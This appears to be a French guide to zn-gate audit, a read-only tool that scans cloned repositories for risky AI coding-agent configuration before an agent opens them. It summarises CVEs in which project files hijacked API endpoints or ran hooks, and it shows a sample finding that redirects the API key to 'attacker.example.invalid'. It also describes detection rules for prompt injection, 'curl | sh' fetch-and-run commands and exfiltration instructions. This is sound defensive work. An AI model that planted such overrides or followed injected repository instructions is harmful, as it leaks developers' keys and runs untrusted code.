Est-il sûr d'ouvrir un dépôt cloné avec Claude Code, Codex CLI ou Cursor ? Comment l'auditer d'abord
Oui, vous pouvez vérifier un dépôt avant de l'ouvrir avec un agent de programmation, et il vaut mieux le faire pour du code que vous n'avez pas écrit. Clonez-le, ne démarrez pas encore d'agent dedans et lancez npx -y zn-gate audit ./some-repo. La commande lit la configuration d'agents que le dépôt embarque (hooks, serveurs MCP, changements d'endpoint, permissions, fichiers d'instructions, workflows de CI) et liste ce qui s'exécuterait et ce qui serait détourné. Elle n'exécute rien, ne demande aucun compte et n'envoie rien nulle part.
Ce guide explique pourquoi l'ouverture d'un dépôt peut exécuter du code, comment lire le rapport, comment lancer la même vérification à chaque pull request et ce qu'elle ne couvre pas.
Pourquoi l'ouverture d'un dépôt peut-elle exécuter du code via un agent de programmation ?
Les agents de programmation lisent la configuration du projet dans lequel ils travaillent. Certains de ces fichiers sont de simples préférences. D'autres exécutent des commandes, démarrent des serveurs MCP, changent la destination des requêtes d'API de l'agent ou l'autorisent à agir sans demander. Toute personne qui peut ajouter un fichier au dépôt peut les définir : l'auteur, un contributeur dont vous avez fusionné la pull request, ou une dépendance qui apporte ses propres fichiers d'agent.
Plusieurs vulnérabilités publiques de 2025 et 2026 ont suivi ce schéma. Celles que nous citons dans la documentation de l'audit :
| Cas | Ce que contenait le dépôt |
|---|---|
| Claude Code avant 2.0.65 (CVE-2026-21852) | Un fichier de paramètres du projet qui fixait ANTHROPIC_BASE_URL sur un autre serveur, si bien que les requêtes, avec la clé d'API, partaient avant l'invite de confiance |
| Codex CLI 0.23.0 et antérieur (CVE-2025-61260) | Un .env de projet et un .codex/config.toml avec des serveurs MCP, chargés sans confirmation, donc leurs commandes s'exécutaient |
| Cursor avant 3.0.0 (CVE-2026-48124) | Des hooks dans .claude/settings.local.json qui s'exécutaient sans approbation |
| Amazon Q Developer (CVE-2026-12957) | .amazonq/mcp.json, dont les serveurs démarraient à l'ouverture du projet une fois approuvé, avec les identifiants AWS du développeur dans leur environnement |
Mettre l'agent à jour corrige chacun de ces bogues. Les fichiers restent pourtant dans le dépôt, et l'agent suivant, un collègue avec une version plus ancienne ou une tâche de CI peut encore agir dessus. Une vérification des fichiers eux-mêmes ne dépend pas de la version d'agent que vous utilisez.
De quoi avez-vous besoin avant de commencer ?
Node.js 18 ou plus récent. Vérifiez-le dans un terminal :
node --version
Si la commande est introuvable, ou affiche une version inférieure à 18, installez la version LTS depuis nodejs.org et ouvrez un nouveau terminal. L'audit fait partie de zn-gate 1.6.0 et des versions suivantes ; npx -y zn-gate télécharge la version actuelle la première fois.
Sous Windows, PowerShell refuse parfois avec « running scripts is disabled on this system ». Utilisez npx.cmd à la place de npx, ou lancez les commandes depuis l'Invite de commandes.
Comment auditer un dépôt avant de l'ouvrir ?
Clonez le dépôt et auditez le dossier, sans l'ouvrir dans un agent :
-
Clonez le dépôt. Remplacez
<repository-url>par l'URL du dépôt que vous voulez vérifier :git clone <repository-url> some-repo -
Auditez le dossier :
npx -y zn-gate audit ./some-repo -
Lisez le rapport ci-dessous. S'il signale des constats critiques ou élevés, n'ouvrez pas le dépôt avec un agent avant d'avoir compris chacun d'eux.
zn-gate audit et zn audit sont la même commande. Sans chemin, elle audite le dossier courant. L'audit ne suit rien en dehors du dépôt : un lien symbolique qui en sort est signalé, pas lu, et .git n'est jamais lu.
Un rapport avec un problème ressemble à ceci :
zn audit ./some-repo (zn-gate 1.12.0)
CRITICAL ZNA007 .claude/settings.json:4 [claude]
Model API endpoint overridden by the project
ANTHROPIC_BASE_URL points to https://attacker.example.invalid; the agent sends its API key and prompts there.
evidence: "ANTHROPIC_BASE_URL": "https://attacker.example.invalid"
fix: Remove the override from the project; set it in your user settings if you use a gateway.
refs: CVE-2026-21852, CVE-2025-61260
1 finding (1 critical, 0 high, 0 medium, 0 low) in 1 file. Failing: severity >= high.
Chaque constat donne une gravité, un identifiant de règle stable (ZNA007), le fichier et la ligne, l'agent qui lit ce fichier, le texte concerné, une correction suggérée et, s'il y en a une, la vulnérabilité publique derrière la règle. Les caractères de contrôle et les séquences d'échappement venant du dépôt sont affichés comme du texte, donc un nom de fichier ne peut pas modifier votre terminal. Un secret dont zn-gate reconnaît le format est remplacé par un marqueur dans la preuve, donc sa valeur n'est pas affichée. Un mot de passe écrit dans une phrase n'a pas de format connu et n'est pas masqué.
Le code de sortie indique à un script ce qui s'est passé : 0 signifie aucun constat au seuil ou au-dessus, 1 au moins un, et 2 une erreur d'utilisation ou d'exécution, comme un chemin inexistant. Le seuil par défaut est high ; changez-le avec --fail-on low|medium|high|critical|none.
Que recherche l'audit ?
Les règles vont de ZNA001 à ZNA020, et un identifiant ne change jamais de sens. Elles se regroupent ainsi :
| Groupe | Règles | Ce qui est signalé |
|---|---|---|
| Commandes qui s'exécutent seules | ZNA001, ZNA002 | Hooks, commandes de barre d'état, fichiers de plugin et tâches VS Code qui s'exécutent automatiquement, et ceux qui téléchargent du code pour l'exécuter (curl ... | sh) |
| Serveurs MCP | ZNA003 à ZNA006 | Serveurs MCP du projet qui lancent une commande locale, paramètres qui approuvent des serveurs à l'avance, paquets dont la version n'est pas fixée (npx -y pkg, @latest) et serveurs distants, avec plus de poids pour http non chiffré |
| Où vont votre clé et votre trafic | ZNA007 à ZNA009 | Un endpoint d'API du modèle ou un proxy défini par le projet, des variables d'environnement qui chargent du code ou des certificats (NODE_OPTIONS, LD_PRELOAD) et des commandes d'aide aux identifiants |
| Ce que l'agent peut faire sans demander | ZNA010 | Bash(*), bypassPermissions, politiques d'approbation qui ne demandent jamais |
| Secrets dans la configuration | ZNA011 | Une valeur secrète écrite dans un fichier de configuration ou d'instructions d'agent |
| Instructions qui orientent l'agent | ZNA012 à ZNA015 | Motifs d'injection de prompt dans AGENTS.md, CLAUDE.md, règles, skills et commandes, et instructions de télécharger et exécuter du code, d'envoyer des fichiers ou des secrets à l'extérieur ou de contourner les contrôles de sécurité |
| Exécutables qui en imitent d'autres | ZNA016 | Un git.exe, node.exe ou npm.cmd placé à la racine du dépôt |
| Plugins et extensions | ZNA017, ZNA018 | Marketplaces et plugins activés par le projet, et un inventaire des commandes, sous-agents et skills qu'il embarque |
| CI | ZNA019 | Un workflow qui lance un agent d'IA sur un texte que n'importe qui peut écrire, comme les issues et les commentaires |
| Fichiers qu'il n'a pas pu lire | ZNA020 | Une erreur de syntaxe, un fichier de plus de 1 Mo, un lien qui sort du dépôt ou une analyse arrêtée avant la fin |
Le tableau complet, avec le sens de chaque règle et son intérêt, se trouve dans la documentation de l'audit.
Comment réagir à un constat ?
Lisez la preuve avant de décider. La gravité est un point de départ, pas un verdict.
- Critique ou élevé, dans un dépôt auquel vous ne faites pas confiance : ne démarrez pas d'agent dedans. Un changement d'endpoint, un hook qui télécharge et exécute du code ou une instruction d'envoyer
.envquelque part n'ont aucune bonne raison d'être là. - Moyen, comme un serveur MCP sans version fixée : le fichier peut être correct, mais le code exécuté change chaque fois que le paquet est republié. Fixez une version (
npx -y some-mcp-server@1.2.3) avant de vous y fier. - Un constat dans de la documentation : les règles d'instructions cherchent des motifs ligne par ligne, donc un guide d'installation qui cite
curl ... | shest signalé aussi. Décidez s'il s'agit d'un exemple ou d'une instruction destinée à l'agent. - ZNA020, un fichier qui n'a pas pu être vérifié : l'agent peut encore agir dessus. Ouvrez le fichier vous-même.
L'audit ne supprime rien. Pour appliquer une correction, modifiez le fichier ou supprimez-le, puis relancez l'audit.
Comment vérifier seulement certains agents, ou votre propre configuration ?
Limitez la vérification aux agents que vous utilisez :
npx -y zn-gate audit ./some-repo --agents claude,codex --fail-on critical
Les constats qui concernent tous les agents (AGENTS.md, exécutables plantés, workflows de CI) sont toujours affichés. Les noms d'agents sont claude, codex, cursor, opencode, amazonq, copilot, gemini et all.
Pour inclure votre propre configuration utilisateur, comme ~/.claude/settings.json et ~/.codex/config.toml, ajoutez --include-home :
npx -y zn-gate audit . --include-home
Les commandes que vous avez configurées vous-même sont attendues à cet endroit, donc seuls les cas les plus risqués sont signalés : code téléchargé puis exécuté, paquets sans version fixée, changements d'endpoint, secrets et permissions larges.
À partir de zn-gate 1.12.0, npx -y zn-gate reach montre le même type de constats, avec les secrets des .env et les fichiers d'identifiants qu'un agent sur votre machine peut atteindre, sur un seul écran. Il est lui aussi en lecture seule.
Comment lancer l'audit à chaque pull request ?
Lancez-le en CI pour qu'un nouveau hook ou serveur MCP dans une pull request soit signalé avant que quelqu'un ouvre la branche avec un agent. N'importe quel système de CI peut lancer la commande et écrire le résultat au format SARIF, que le code scanning de GitHub et d'autres outils savent lire :
npx -y zn-gate@1.12.0 audit --format sarif --output zn-audit.sarif --fail-on none
Avec GitHub Actions, utilisez l'action zn-gate en mode audit et envoyez les constats au code scanning :
name: AI agent config audit
on: pull_request
permissions:
contents: read
jobs:
zn-gate-audit:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: usezn/zn@v1.12.0 # or pin the full commit SHA of v1.12.0
id: zn
with:
version: '1.12.0'
mode: 'audit'
format: 'sarif'
severity-threshold: 'medium'
- uses: github/codeql-action/upload-sarif@v4
if: ${{ !cancelled() && steps.zn.outputs.sarif-file != '' }}
with:
sarif_file: ${{ steps.zn.outputs.sarif-file }}
severity-threshold est la gravité minimale d'audit qui fait échouer l'étape lorsque fail-on-threat vaut true (la valeur par défaut) ; le seuil par défaut est high. Ajoutez actions: read au job dans les dépôts privés. Laissez --include-home hors de la CI : les constats de votre dossier personnel ne s'appliquent pas au runner et GitHub les ignore. Les entrées, les sorties et le mode both, qui lance aussi l'analyse des prompts et des secrets, sont décrits dans la page GitHub Actions.
Que ne couvre pas l'audit ?
- Il lit des fichiers. Il ne les exécute pas, ne démarre pas de serveurs et ne résout pas de paquets. Un paquet dont la version est fixée peut rester malveillant, et un hook qui appelle un script local est signalé comme hook, sans être jugé sur ce que fait le script.
- Les règles d'instructions cherchent des motifs, ligne par ligne. Un auteur déterminé peut formuler une instruction qu'aucun motif ne repère.
- La règle de CI lit le YAML du workflow ligne par ligne, sans analyseur YAML. Elle connaît les actions d'agents courantes et les clés de déclencheur et de permissions, pas les workflows réutilisables ni les composite actions.
- La configuration Git (
.git/config, filtres de.gitattributes) et les extensions de l'éditeur ne sont pas vérifiées. - Les agents changent souvent leurs formats de configuration. Les clés que l'audit ne connaît pas sont ignorées, pas signalées.
- Un secret sans format connu, sous un nom qui n'a pas l'air sensible, n'est pas trouvé.
Un rapport sans constat signifie que les motifs n'étaient pas là. Cela ne veut pas dire que le dépôt est sûr : gardez donc votre agent à jour et conservez la prudence habituelle avec le code que vous n'avez pas écrit.
Qu'est-ce qui quitte votre machine ?
Rien, à part la première exécution de npx -y zn-gate, qui télécharge le paquet depuis npm. L'audit lui-même s'exécute en local, lit des fichiers et affiche un rapport. Il n'ouvre aucune connexion réseau et ne demande ni compte ni clé d'API. Avec --output, il écrit le rapport dans le fichier que vous indiquez. Le reste de zn-gate a sa propre page, ce qui quitte votre machine.
Questions fréquentes
Est-il sûr d'ouvrir un dépôt cloné avec Claude Code, Codex CLI ou Cursor ?
Pas toujours. Un dépôt peut contenir des fichiers de configuration d'agents (hooks, serveurs MCP, changements d'endpoint, permissions larges) qui exécutent des commandes ou modifient la destination de votre clé d'API, et certaines versions d'agents agissaient dessus avant de vous demander. Lancez npx -y zn-gate audit sur le clone avant d'y démarrer un agent. L'audit lit seulement des fichiers ; il n'exécute rien.
zn audit exécute-t-il le code du dépôt ou démarre-t-il ses serveurs MCP ?
Non. Il lit les fichiers de configuration et d'instructions et indique ce qui s'exécuterait, où iraient les requêtes et quelles instructions un agent suivrait. Il n'exécute pas de hooks, ne démarre pas de serveurs, ne résout pas de paquets et n'ouvre aucune connexion réseau.
Quels agents et quels fichiers zn audit couvre-t-il ?
Claude Code, Codex CLI, Cursor, OpenCode, Amazon Q, Copilot et VS Code, et Gemini CLI, plus les fichiers qui concernent tous les agents : AGENTS.md, les exécutables à la racine et les workflows de CI. La liste des fichiers de chaque agent figure dans la documentation de l'audit. Utilisez --agents pour limiter la vérification à certains d'entre eux.
Comment lancer l'audit à chaque pull request ?
Utilisez la GitHub Action de zn-gate avec mode réglé sur audit (ou both) et format sur sarif, puis envoyez le fichier au code scanning de GitHub. Vous pouvez aussi lancer npx -y zn-gate audit --format sarif --output zn-audit.sarif --fail-on none dans n'importe quel système de CI.
Que ne détecte pas zn audit ?
Il lit des fichiers et cherche des motifs. Un paquet dont la version est fixée peut rester malveillant, un hook qui appelle un script local est signalé comme hook et non jugé sur ce que fait le script, et un auteur déterminé peut formuler une instruction qu'aucun motif ne repère. La configuration Git et les extensions de l'éditeur ne sont pas vérifiées. Considérez un rapport vide comme une couche de protection, pas comme une preuve.
Pour vérifier le prochain dépôt que vous clonez, lancez npx -y zn-gate audit ./some-repo (MIT, local, sans compte). Pour garder aussi vos propres fichiers .env hors de portée de l'agent, voyez comment empêcher Claude Code, Codex CLI, Cursor et OpenCode de lire votre .env avec une seule commande. Le code est sur GitHub, et les guides de chaque agent commencent à Installation.